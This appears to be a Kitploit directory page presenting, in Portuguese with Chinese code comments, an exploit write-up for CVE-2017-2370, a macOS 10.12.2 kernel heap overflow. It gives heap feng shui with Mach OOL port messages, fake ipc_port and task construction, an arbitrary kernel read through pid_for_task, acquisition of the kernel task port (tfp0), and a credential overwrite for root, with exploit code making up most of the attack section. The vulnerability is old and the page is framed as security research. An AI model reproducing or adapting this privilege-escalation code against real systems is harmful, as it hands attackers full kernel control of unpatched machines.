Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2017-2370 — on Mac 10.12.2 | Kitploit
Ferramentas/GitHubGitHub/peterpan0927/cve-2017-2370
Privilege EscalationiOS SecurityMemory ForensicsExploitationInformation GatheringBinary Exploitation
GitHubpeterpan0927/cve-2017-2370

CVE-2017-2370

on Mac 10.12.2

Ver Repositório
203há 8 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

0x00. Prefácio

Este escalonamento de privilégios explora uma vulnerabilidade em mach_voucher_extract_attr_recipe_trap, e o núcleo do método de exploração é através de mensagens MACH_MSG_OOL_PORTS_DESCRIPTOR.

Sobre mach_msg ool, em termos simples, quando um msg contendo um ool descriptor é enviado, o kernel copia os dados especificados do espaço do usuário para o espaço do kernel, e o kernel mantém esses dados até que a tarefa de destino processe a mensagem. Da mesma forma, quando o processo de destino recebe uma mensagem contendo um ool descriptor, o kernel copia os dados do espaço do kernel para o espaço do usuário (não necessariamente uma cópia real). Portanto, essa técnica pode ser usada para escrever dados no heap do kernel ou ler dados do kernel.

Como a exploração desta vulnerabilidade é muito mais complexa que a do Tridente, vou analisá-la passo a passo, desde o ponto de origem até a exploração completa. O código pode ser consultado no meu github.

0x01. Ponto de origem da vulnerabilidade

Em iOS 10 e macOS 10.12, uma nova função chamada mach_voucher_extract_attr_recipe_trap foi adicionada. É um Mach trap que pode ser chamado dentro do sandbox. Abaixo está o código-fonte desta função:

root@kitploit:~
kern_return_t
  mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
  {
    ipc_voucher_t voucher = IV_NULL;
    kern_return_t kr = KERN_SUCCESS;
    mach_msg_type_number_t sz = 0;
	//将recipe_size的地址拷贝到sz中,此时sz存放的就是kalloc_size的值了
    if (copyin(args->recipe_size, (void *)&sz, sizeof(sz)))     <---------- (a)
      return KERN_MEMORY_ERROR;

    if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
      return MIG_ARRAY_TOO_LARGE;

    voucher = convert_port_name_to_voucher(args->voucher_name);
    if (voucher == IV_NULL)
      return MACH_SEND_INVALID_DEST;

    mach_msg_type_number_t __assert_only max_sz = sz;

    if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
      /* keep small recipes on the stack for speed */
      uint8_t krecipe[sz];
      if (copyin(args->recipe, (void *)krecipe, sz)) {
        kr = KERN_MEMORY_ERROR;
        goto done;
      }
      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
    } else {
      uint8_t *krecipe = kalloc((vm_size_t)sz);                 <---------- (b)
      if (!krecipe) {
        kr = KERN_RESOURCE_SHORTAGE;
        goto done;
      }

      if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {         <----------- (c)
        kfree(krecipe, (vm_size_t)sz);
        kr = KERN_MEMORY_ERROR;
        goto done;
      }

      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
      kfree(krecipe, (vm_size_t)sz);
    }

    kr = copyout(&sz, args->recipe_size, sizeof(sz));

  done:
    ipc_voucher_release(voucher);
    return kr;
  }
  1. Através da análise, podemos saber que no ponto (a), o ponteiro de espaço do usuário de 4 bytes args->recipe_size é copiado para sz.
  2. No ponto (b), se o tamanho de sz estiver entre MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120) e MACH_VOUCHER_TRAP_STACK_LIMIT (256), um buffer do heap do kernel será alocado de acordo com o valor de sz.
  3. No ponto (c), a memória do espaço do usuário é copiada para a área recém-alocada, mas o tamanho da cópia passado não é o sz usado para alocar o heap do kernel, e sim um ponteiro de espaço do usuário, causando um estouro de heap. É este ponto que exploramos. Além disso, a função copyin tem uma característica: se encontrar uma página não mapeada, ela interrompe a cópia. Esta característica será explorada em nosso PoC:

copyin

0x01. Etapas de exploração

  1. Primeiro, precisamos tornar o espaço do heap controlável. A técnica usada aqui é 'Heap Feng Shui', porque após a randomização da freelist, não sabemos mais a posição dos blocos de memória realocados.

Primeiro, é necessário entender o tratamento de MACH_MSG_OOL_PORTS_DESCRIPTOR em mach msg. Quando o kernel recebe uma mensagem complexa e descobre que é ports descriptor, ele chama a função ipc_kmsg_copyin_ool_ports_descriptor (chamada por ipc_kmsg_copyin) para ler todos os objetos port. Esta função chama kalloc para alocar a memória necessária (em 64 bits, a memória alocada é o dobro da entrada, os nomes têm 4 bytes), e então converte os port válidos de name para o endereço real do objeto ipc_port, salvando-os. Para entradas com name igual a MACH_PORT_NULL ou MACH_PORT_DEAD, eles permanecem inalterados.

root@kitploit:~
/* calculate length of data in bytes, rounding up */
if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) { 
	*mr = MACH_SEND_TOO_LARGE; 
	return NULL; 
} 

if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) { 
    *mr = MACH_SEND_TOO_LARGE;
	return NULL; 
} 

if(ports_length == 0){
    return user_desc;
}

data = kalloc(ports_length); // 分配空间 
... 
objects = (ipc_object_t *) data; 

dsc->address = data; 

for ( i = 0; i < count; i++) { 
    mach_port_name_t name = names[i]; 
    ipc_object_t object;
    if (!MACH_PORT_VALID(name)) {
        objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);// IPC_PORT_DEAD continue; 
    } 
...
}

Portanto, durante o ataque, enviaremos um grande número de MACH_PORT_DEAD para preencher a área de memória com 0xFFFFFFFFFFFFFFFF (MACH_PORT_DEAD), e então acionaremos a vulnerabilidade para modificar um desses IPC_PORT_DEAD para uma área de memória preparada pelo atacante. Se a área apontada for uma estrutura ipc port válida, após receber a mensagem OOL PORTS, será possível obter no espaço do usuário o port name correspondente a esse ipc_port, para prosseguir com o próximo passo do ataque.

堆风水

  1. Construção do objeto ipc_object

Primeiro, já obtivemos este fake port. Para realizar a fuga de informação, precisamos saber como o kernel o trata com base em seus parâmetros. Primeiro, vejamos a estrutura de ipc_port:

root@kitploit:~
struct ipc_port {
	//ipc_object的指针就在前八个字节,是我们溢出攻击的对象
	struct ipc_object ip_object; // port对象的类型 struct ipc_mqueue,ip_messages;
	struct ipc_mqueue ip_messages; //消息队列
	union {
               struct ipc_space *receiver;
               struct ipc_port *destination;
               ipc_port_timestamp_t timestamp;
    }data;
	union {
    	ipc_importance_task_t imp_task;
    	ipc_kobject_t kobject; // port对应的内核对象
    	uintptr_t alias;
	}kdata;
	...
} __attribute__((__packed__));

Há um objeto do kernel correspondente ao port, e o tipo de objeto do kernel ao qual este ipc_port corresponde é determinado pelas propriedades de ipc_object. Portanto, estamos na verdade construindo em torno de ipc_object.

root@kitploit:~
fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; //设置为IKOT_CLOCK对象,并处于激活状态
fakeport->io_lock_data[12] = 0x11;	//设置port锁处于活动状态,防止死锁

O kernel tratará este ipc_port como um port para comunicação com o objeto IKOT_CLOCK. O próximo objetivo é vazar o endereço base do kernel:

Falsificamos este ipc_port como um objeto IKOT_CLOCK e, em seguida, definimos seu ponteiro kdata.kobject para um endereço do kernel. Cada vez que modificamos este endereço do kernel, chamamos clock_sleep_trap no espaço do usuário. No kernel, a função port_name_to_clock é chamada para obter este endereço do kernel e passá-lo como argumento clock para clock_sleep_internal. O código-fonte é o seguinte:

root@kitploit:~
static kern_return_t clock_sleep_internal( clock_t clock, sleep_type_t sleep_type, mach_timespec_t *sleep_time)
{
    if (clock == CLOCK_NULL)
      return (KERN_INVALID_ARGUMENT);
    if (clock != &clock_list[SYSTEM_CLOCK])
      return (KERN_FAILURE);
...
}

Pelo código acima, se o endereço de clock não for o endereço de clock_list[SYSTEM_CLOCK], ele retornará KERN_FAILURE; caso contrário, retornará outro valor. Assim, podemos usar o valor de retorno para iterar (modificando continuamente o valor de kobject) até que KERN_FAILURE seja retornado. Desta forma, podemos obter o endereço de clock_list[SYSTEM_CLOCK] no kernel. Este endereço não está no heap, mas é uma variável global do kernel, localizada em um deslocamento específico. Em seguida, a partir deste local, lemos o cabeçalho de cada página para frente até encontrar MH_MAGIC_64, ou seja, 0xfeedfacf.

root@kitploit:~
extern struct clock_ops sysclk_ops, calend_ops;

struct clock clock_list[] = {
    {&sysclk_ops, 0, 0},
    {&calend_ops, 0, 0}
};
  1. Leitura de endereço arbitrário do kernel

Depois de obter este endereço, precisamos converter nosso objeto para o tipo task e encontrar o endereço base do kernel, para então calcular o kslide e prosseguir com a operação tfp0.

root@kitploit:~
//将fake port的类型换成task,因为需要利用pid_for_task这个接口来进行任意地址读
fakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;
fakeport->io_references = 0xff;
char* faketask = ((char*)fakeport) + 0x1000;
    
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*) (faketask + 0x10) = 0xee;

Obtendo o endereço de kobject, saltamos para o início da página. No PoC de Yalu102 e Zheng min, a ordem dessas operações é diferente, mas isso não afeta, porque o endereço de faketask também está nesta página, então realizar uma operação AND fornece o endereço inicial da página.

root@kitploit:~
uint64_t leaked_ptr =  *(uint64_t*)(((uint64_t)fakeport) + 0x68);
leaked_ptr &= ~0x3FFF;

Em seguida, escrevemos um loop infinito para encontrar MH_MAGIC_64 e então passamos para a fase tfp0:

root@kitploit:~
while (1) {
        int leaked = 0;
    	*(uint64_t *)(faketask + 0x380) = leaked_ptr -0x10;
        pid_for_task(foundport, &leaked);
        if (leaked == MH_MAGIC_64) {
            printf("found kernel text at 0x%llx\n", leaked_ptr);
            break;
        }
    	//往前一个页面
        leaked_ptr -= 0x4000;
    }

O motivo pelo qual a leitura de endereço arbitrário é possível é que a função pid_for_task não faz nenhuma verificação, apenas converte o parâmetro recebido em um endereço e realiza algumas operações de adição/subtração:

root@kitploit:~
kern_return_t pid_for_task(struct pid_for_task_args *args){
	mach_port_t t = args->t;
    ...
    t1 = port_name_to_task(t);
    p = get_bsdtask_info(t1);
    if(p){
        pid = proc_id(p);
        err = KERN_SUCCESS;
    }
    ...
    (void) copyout((char *)&pid, pid_addr, sizeof(int));
    AUDIT_MACH_SYSCALL_EXIT(err);
    return err;
}

//pid_for_task_args
struct pid_for_task_args{
    PAD_ARG(mach_port_name_t t);
    PAD_ARG(user_addr_r pid);
};

pid_for_task

  1. tfp0

O fluxo completo é: encontrar a lista de processos do kernel, percorrer para encontrar o endereço do nosso próprio processo e o endereço de pid0. Depois, obter o endereço de kernel task a partir do processo do kernel, obter itk_sself (port do kernel task) a partir de kernel task, substituir as informações do nosso ipc port falsificado pelas informações de kernel task, apontar o fake port para o kernel task falsificado, definir o bootstrap port do kernel task como o port real do kernel task, e então, através da interface task_get_special_port, obter o port do kernel task, realizando assim leitura/escrita arbitrária e alterando a permissão do nosso próprio para .

root@kitploit:~
uint64_t kern_task = 0;
kr32(kernproc+0x18, (int32_t*)&kern_task);
kr32(kernproc+0x18+4 , (int32_t*)(((uint64_t)(&kern_task)) + 4));
    
uint64_t itk_kern_sself = 0;
kr32(kern_task+0xe8, (int32_t*)&itk_kern_sself);
kr32(kern_task+0xe8+4 , (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));
    
char *faketaskport = malloc(0x1000);
char *ktaskdump = malloc(0x1000);
    
for (int i = 0; i < 0x1000/4; i++) {
    kr32(itk_kern_sself+i*4, (int32_t*)(&faketaskport[i*4]));
}

for (int i = 0; i < 0x1000/4; i++) {
    kr32(kern_task+i*4, (int32_t*)(&ktaskdump[i*4]));
}
 
//dump kernel task port
memcpy(fakeport, faketaskport, 0x1000);
memcpy(faketask, ktaskdump, 0x1000);


*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;

*(uint64_t*)(((uint64_t)faketask) + 0x2b8) = itk_kern_sself;

//get kernel task
task_get_special_port(foundport, 4, &tfp0);
printf("tfp0 = 0x%x\n", tfp0);

fakeport->io_bits = 0;

uint64_t slide;
slide = kernel_base - 0xFFFFFF8000200000;

printf("kernel_base=0x%llx slide=0x%llx header=0x%llx\n",kernel_base, slide,ReadAnywhere64(kernel_base));

//get root
uint64_t cred = ReadAnywhere64(myproc+0xe8);
WriteAnywhere64(cred+0x18,0);

pwn

0x02. Links de referência

  • ool msg
  • project zero
  • zheng min
  • Yalu102
  • E agradecimentos pela ajuda de shrek_wzw
Baixar ferramenta
proc
root